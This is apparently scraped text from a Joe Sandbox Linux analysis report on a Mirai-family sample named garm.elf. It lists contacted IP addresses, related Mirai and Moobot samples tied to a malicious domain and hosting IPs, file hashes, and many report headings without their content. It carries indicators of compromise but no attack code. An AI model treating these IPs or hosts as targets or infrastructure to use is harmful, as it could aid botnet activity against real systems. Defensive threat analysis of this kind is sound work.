156.208.228.185	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.198.207.204	unknown	South Africa	327693	ECHO-SPZA	false
156.208.228.184	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.172.142.251	unknown	South Africa	37168	CELL-CZA	true
41.219.35.184	unknown	Senegal	37196	SUDATEL-SENEGALSN	false
156.43.93.65	unknown	United Kingdom	3549	LVLT-3549US	false
156.94.45.220	unknown	United States	10695	WAL-MARTUS	false
197.4.200.75	unknown	Tunisia	5438	ATI-TN	false
156.237.86.229	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.169.124.216	unknown	South Africa	37168	CELL-CZA	false
156.125.162.25	unknown	United States	393504	XNSTGCA	false
197.58.204.218	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.233.34.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.252.128.165	unknown	Sudan	15706	SudatelSD	false
156.254.22.206	unknown	Seychelles	394281	XHOSTSERVERUS	false
41.89.178.139	unknown	Kenya	36914	KENET-ASKE	false
156.93.199.7	unknown	United States	46313	WAL-MART4US	false
41.137.141.220	unknown	Morocco	36884	MAROCCONNECTMA	false
156.223.50.240	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.34.23.186	unknown	Canada	855	CANET-ASN-4CA	false
41.171.231.119	unknown	South Africa	36937	Neotel-ASZA	false
197.16.172.183	unknown	Tunisia	37693	TUNISIANATN	false
197.21.65.17	unknown	Tunisia	37693	TUNISIANATN	false
41.223.185.6	unknown	Central African Republic	37460	ORANGE-CACF	false
197.19.253.132	unknown	Tunisia	37693	TUNISIANATN	false
197.116.212.238	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.244.234.103	unknown	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
156.99.130.45	unknown	United States	1998	STATE-OF-MNUS	false
197.255.13.161	unknown	Nigeria	35074	COBRANET-ASLB	false
197.191.86.176	unknown	Ghana	37140	zain-asGH	false
156.228.141.244	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.22.157.80	unknown	Australia	29975	VODACOM-ZA	false
156.170.44.209	unknown	Egypt	36992	ETISALAT-MISREG	false
197.18.225.95	unknown	Tunisia	37693	TUNISIANATN	false
156.21.96.203	unknown	United States	29975	VODACOM-ZA	false
197.21.65.33	unknown	Tunisia	37693	TUNISIANATN	false
197.222.130.1	unknown	Egypt	37069	MOBINILEG	false
156.141.177.97	unknown	United States	29975	VODACOM-ZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.222.154.31	skid.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse
197.106.7.147	JLJkT6Xg7I.elf	Get hash	malicious	Mirai	Browse
	1Lc4GYHy2M.elf	Get hash	malicious	Mirai, Moobot	Browse
	pZ0S9uLxTH.elf	Get hash	malicious	Mirai	Browse
	bk.mpsl-20220929-2309.elf	Get hash	malicious	Mirai	Browse
	ak.arm5.elf	Get hash	malicious	Mirai	Browse
197.26.6.220	HZHDPhGvrL.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	apep.x86	Get hash	malicious	Unknown	Browse
197.58.204.202	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	6BhVz1QxCs.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	odTcTd1EBC.elf	Get hash	malicious	Mirai, Moobot	Browse
	UXX3Db03tl	Get hash	malicious	Mirai	Browse
197.179.229.42	bot.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse
	HOdRDgUXqH.elf	Get hash	malicious	Mirai	Browse
	V1mCtkZgYL.elf	Get hash	malicious	Mirai, Moobot	Browse
	log21.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse
	GEGqQDiNR6.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
197.172.190.132	U6d2xCNMT4.elf	Get hash	malicious	Mirai	Browse
41.226.143.40	Upc3E2ggQy.elf	Get hash	malicious	Mirai	Browse
41.226.143.40	tSPx13a2fq.elf	Get hash	malicious	Mirai, Moobot	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
magicalmalware.pirate	nshmips.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	157.245.110.224
	garm7.elf	Get hash	malicious	Mirai	Browse	138.197.141.146
	nshppc.elf	Get hash	malicious	Mirai	Browse	138.197.141.146
	garm5.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	gmpsl.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	mips.elf	Get hash	malicious	Mirai	Browse	128.199.113.0
	ppc.elf	Get hash	malicious	Mirai	Browse	138.197.7.36
	x86.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	x86_64.elf	Get hash	malicious	Mirai	Browse	165.22.62.189

Process:	/tmp/garm.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgHYC:TgH
MD5:	0F0D9627D0CE342681AADAA55BAC3F39
SHA1:	92BDADBBD60881ECBB50B7714C5D5AF7F036E329
SHA-256:	8B8CF3FC8E1EA8DB0CA13038E38F7F52A62C230265F37F9C590242FBC13032D2
SHA-512:	8BD64C91B2372BF612E7D319B2C5FEF16D62780EE558C492D3838933E93C5B50451F51AB86F5E1151DEDF1B51B6BE03FE9E6E5CFE9E3E8D718AA7753E93CDFA4
Malicious:	false
Reputation:	low
Preview:	/tmp/garm.elf.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report garm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.02L0Ag (deleted)

/tmp/qemu-open.04K9Cd (deleted)

/tmp/qemu-open.05pAfh (deleted)

/tmp/qemu-open.06hong (deleted)

/tmp/qemu-open.07ms3f (deleted)

/tmp/qemu-open.0LCOMf (deleted)

/tmp/qemu-open.0N9tAg (deleted)

/tmp/qemu-open.0OcXeh (deleted)

/tmp/qemu-open.0RYxHh (deleted)

/tmp/qemu-open.0SZ4vg (deleted)

/tmp/qemu-open.0T3DQe (deleted)

/tmp/qemu-open.0VaAte (deleted)

/tmp/qemu-open.0Y3sSf (deleted)

/tmp/qemu-open.0kGAud (deleted)

/tmp/qemu-open.0qmJzd (deleted)

/tmp/qemu-open.0zVMug (deleted)

/tmp/qemu-open.10dpGe (deleted)

/tmp/qemu-open.18v9vh (deleted)

/tmp/qemu-open.1A13we (deleted)

/tmp/qemu-open.1Cyhef (deleted)

/tmp/qemu-open.1FWvFe (deleted)

/tmp/qemu-open.1FePQg (deleted)

/tmp/qemu-open.1J8Ruf (deleted)

/tmp/qemu-open.1Lm4Re (deleted)

/tmp/qemu-open.1MO7Mg (deleted)

/tmp/qemu-open.1OkqUe (deleted)

/tmp/qemu-open.1Q0G7f (deleted)

/tmp/qemu-open.1Qq2Rg (deleted)

Linux Analysis Report
garm.elf